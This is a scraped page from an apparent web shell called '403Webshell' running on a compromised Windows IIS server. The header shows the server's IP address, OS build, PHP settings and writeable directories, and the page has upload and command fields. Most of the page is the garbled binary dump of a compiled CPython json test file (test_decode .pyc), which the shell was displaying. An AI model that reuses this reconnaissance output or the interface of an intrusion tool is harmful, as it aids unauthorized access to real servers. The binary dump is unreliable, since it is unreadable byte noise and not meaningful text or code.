403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_json/__pycache__/test_decode.cpython-315.opt-2.pyc
R
>lqjTc��]PHs]PHs]QHGs]QHGs]QHGsG	s	]QH(GsQQ2sQQ\\2s
Q	Q
\\	2sP!)�)�StringIO)�OrderedDict)�PyTest�CTest)�supportc�`�\sQs]	snQsQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsQsQsQsQsQsQsUsP!)�
TestDecodec���UOQ[OQ5oUOU[O2UO	U[OQ22P!)z1.1)�parse_float)�loads�decimal�Decimal�assertIsInstance�assertEqual��self�rvals& �/C:\Python315\\Lib\test\test_json\test_decode.py�test_decimal�TestDecode.test_decimal
sE���z�z�%�W�_�_�z�=�����d�G�O�O�4�����w���u�5�6�c��UOQ[Q5oUOU[2UOUQ2P!)�1)�	parse_intg�?)r�floatrrrs& r�
test_float�TestDecode.test_floats4���z�z�#��z�/�����d�E�*�����s�#rc	��QFD@oUOUO29^tt^2UOU2PPP2JB	P!)%fhJW9h)�10)ru0.0u0e0��assertRaises�JSONDecodeErrorr)r�nums& r�test_nonascii_digits_rejected�(TestDecode.test_nonascii_digits_rejecteds@��6�C��"�"�4�#7�#7�8�8��
�
�3��9�8�7�8�8�8���A	�A
�A
c�J�UOUOQ2]2P!)�1�rr�rs&r�
test_bytes�TestDecode.test_bytess��������D�)�1�-rc	��QFD6vqUOUOU[OQ5U2J8	P!)�Infinity)�parse_constant))r-�INFINITY)z	-Infinityz	-INFINITY)�NaN�NAN)rr�str�upper)r�constant�expecteds&  r�test_parse_constant�TestDecode.test_parse_constants7��#
��H�

����
�
�8�C�I�I�
�>��
�#
rc	��QFD@oUOUO29^tt^2UOU2PPP2JB	P!)%fhJW9h)�nan)r9r1�naN�infinityr/�inFiniTyr)rr4s& r�test_constant_invalid_case�%TestDecode.test_constant_invalid_case'sG��
�H��"�"�4�#7�#7�8�8��
�
�8�$�9�8�
�9�8�8�r%c���UOUOQ2-2UOUOQ2,2UOUOQ2P2P!)�{}�[]z""r(r)s&r�test_empty_objects�TestDecode.test_empty_objects.sM��������D�)�2�.�������D�)�2�.�������D�)�2�.rc��`�QoQQQ]-Q]-Q]-o-QQ]--QQQ]-Q]--,o,nU1QkoUOVQ5oUOVR2UORU2P!)z{"a":{"b":{}}}�a�b�xc�8:�ROU2-UAQ]-A!�rG)�append)rG�hook_argumentss&�r�hook�)TestDecode.test_object_hook.<locals>.hook=s!����!�!�!�$��a�<��Q�<�r)�object_hook�rr)r�s�expected_result�expected_hook_argumentsrL�resultrKs&     @r�test_object_hook�TestDecode.test_object_hook3s��������S��G�S��3�S��;����s�1�g���s�S��G�S��&;� <�#
����	 ����A��0������1�����)@�Arc��Qo,Q	NoUOUOU2[U22UOUOUQQ5U2UOUOO	[U2QQ5U2UOU[Q5oUOU[
U22UO[U2[2UOUOU[QQ5[
U22UOUOQ[Q5[
22UOUOQ[Q5[
Q[
21,22P!)
z?{"xkd":1, "kcw":2, "art":3, "hxm":4, "qrt":5, "pad":6, "hoy":7}c��U!�N�rIs&r�<lambda>�3TestDecode.test_object_pairs_hook.<locals>.<lambda>Ls��1r)�object_pairs_hookc��U!rXrYrIs&rrZr[Ns��Arc��P!rXrYrIs&rrZr[Ts��$r)r\rNr@z
{"empty": {}}�empty))�xkd�)�kcw�)�art�)�hxm�)�qrt�)�pad�)�hoy�)rr�eval�json�loadrr�type)rrP�p�ods&   r�test_object_pairs_hook�!TestDecode.test_object_pairs_hookGs9��M��
1��������A���Q��0�������A���E�q�I������������:E�(�G�HI�	K�
�Z�Z��[�Z�
9������[��^�,�����b��;�/�������A��0>�$�@�$�Q��	)�	
������D�K��H�$��	(�������O�6A�$�C�$�w��
�&>�%?�@�	Brc�J�QoUOU[Q5oUOUQ2UO[U2[2Qo[	QQ5oUOU[[Q5oUOVC2UO[U2[2UO[UQ*2[2UQ*FD"oUO[U2[2J$	UOUOQ[Q5Q	2P!)
z	[1, 2, 3]��
array_hookz{"xkd": [[1], [2], [3]]})r`)rNrxr`rA)rarcre))ra)rc)rerY)r�tuplerrq�
frozendict)rrP�trr�data�items&     r�test_array_hook�TestDecode.test_array_hook]s������J�J�q�U�J�+������I�&�����a��%�(�
'���-�.���z�z�!���z�F������!�����d��Z�0�����d�5�k�*�E�2���K�K�D����T�$�Z��/� �	
������D�U��;�R�@rc���[Q2oUOOU[Q5oUO	UQ2UO	[U2[2P!)z[10, 20, 30]rw)�
��)rrorpryrrq)r�fprSs&  r�test_load_array_hook�TestDecode.test_load_array_hookosF��
�n�
%��������u��5�������.�����f��u�-rc�V�UOQ2oUOUQQQQ-2P!)z,{   "key"    :    "value"    ,  "k":"v"    }�key�value�k�vrOrs& r�test_decoder_optimizations�%TestDecode.test_decoder_optimizationsvs,���z�z�H�I�������g�s�3�7�8rc��UU2o[U]*2[U]*2tvqEvqgUOVF2UOVW2P!)r)�sorted�assertIs)r�sourcerrrErF�c�ds&&&     r�check_keys_reuse�TestDecode.check_keys_reuse}sB���V�}����Q���&��a��/�������
�
�a���
�
�a�rc��QoUOVO2UOOO	2oUOVO
2UO
UO2P!)u2[{"a_key": 1, "b_é": 2}, {"a_key": 3, "b_é": 4}])r�rro�decoder�JSONDecoder�decode�assertFalse�memo)rrPr�s&  r�test_keys_reuse�TestDecode.test_keys_reuse�sU��D�����a���,��)�)�#�#�/�/�1�����a���0�������&rc�^�QoQoUOUOV OU2P!)z
[1, 2, 3]5z
Extra data��assertRaisesRegexr!r�rrP�msgs&  r�test_extra_data�TestDecode.test_extra_data�s(���������t�3�3�S�*�*�a�Hrc�^�QoQoUOUOV OU2P!)z	["abc\y"]�escaper�r�s&  r�test_invalid_escape�TestDecode.test_invalid_escape�s(���������t�3�3�S�*�*�a�Hrc�l�Qo]Q,-P1FD$oUO[VOU2J&	P!)zthe JSON object must be strg��Q�	@)r��	TypeErrorr)rr�r�s&  r�test_invalid_input_type�"TestDecode.test_invalid_input_type�s2��+����r�2�t�,�E��"�"�9�c�:�:�u�E�-rc�:�QOQ2OQ2oUOUO29^tt^2oUO	U2PPP2UOQ[
WO22UOUO29^tt^2oUOO[U22PPP2UOQ[
UO22POQ2OQ2oQUQ0oUOUO	U2Q2UOUOO[U22Q2P!)%fhCK(9h)%fhK�9h)z[1,2,3]z	utf-8-sigzutf-8�BOM�"u)�encoder�r r!r�assertInr2�	exceptionrorprr)r�bom_json�cm�bom�
bom_in_strs&    r�test_string_with_utf8_bom�$TestDecode.test_string_with_utf8_bom�s���#�#�K�0�7�7��@��
�
�
�t�3�3�
4�
4���J�J�x� �5��
�
�e�S����.�/�
�
�
�t�3�3�
4�
4���I�I�N�N�8�H�-�.�5��
�
�e�S����.�/��i�i��$�+�+�G�4�����Q�Z�
�������J�/��:�����������(<�=�x�H�5�
4�
4��5�
4�s$�E6�'%F
�6F	�?F	�
F	�F	c��UOO2oUO[UOQQ2P!)rE�*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaai�<��)ror�r �
ValueError�
raw_decode�rr�s& r�test_negative_index�TestDecode.test_negative_index�s,���I�I�!�!�#�����*�a�l�l�F�F�Crc��UOO2oUOUOUOQ2P!)z"\)ror�r r!r�r�s& r�test_unterminated_string�#TestDecode.test_unterminated_string�s0���I�I�!�!�#�����$�.�.����e�Drc	�b�Qo[OU29^tt^2UOQU*2UO[29^tt^2UOQU]**2PPP2PPP2P!)%fhK9h)%fhP!9h)i�r)r�adjust_int_max_str_digitsrr r�)r�	maxdigitss& r�test_limit_int�TestDecode.test_limit_int�sn���	�
�
.�
.�y�
9�
9��J�J�s�Y��'��"�"�:�.�.��
�
�3�)�a�-�0�1�/�:�
9�.�.��:�
9�
9�s/�6B� B
	�8B�
B
�B
�B�B.	�&B.	c��QQ2o[OOOUQP	Q59^tt^2oUO	QUQ5PPP2WO2P!)%fhK"9h)c��\sQs]�sQsP!)�NTestDecode.test_explicit_cls_skips_json_decoder_default.<locals>.CustomDecoderrY��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__rYrr�
CustomDecoderr��s��rr�r�)�creater@)�cls)�unittest�mock�patch�objectr�assert_called_once)rr��mock_decodes&  r�,test_explicit_cls_skips_json_decoder_default�7TestDecode.test_explicit_cls_skips_json_decoder_default�sh��	�	��]�]�
 �
 �
'�
'��x��(�6�6�9D��J�J�t��J�/�6�	�&�&�(�6�6�s�A.�.A>	�7A>	rY)r�r�r�r�rrr#r*r6r=rBrTrtr~r�r�r�r�r�r�r�r�r�r�r�r�r��__classdictcell__)�
__classdict__s@rrr	s�����7�
$�
 �.��%�/�
B�(B�,A�$.�9��'�I�
I�
F�

I�D�E�2�)�)rrc��\sQs]�sQsP!)�TestPyDecoderYr�rYrrr�r��s��rr�c��\sQs]�sQsP!)�TestCDecoderYr�rYrrr�r��s��drr�)r�
unittest.mockr��ior�collectionsr�test.test_jsonrr�testrrr�r�rYrr�<module>r�s:�����#�(��u)�u)�p-�:�v�,�*�*�e�*r

Youez - 2016 - github.com/yon3zu
LinuXploit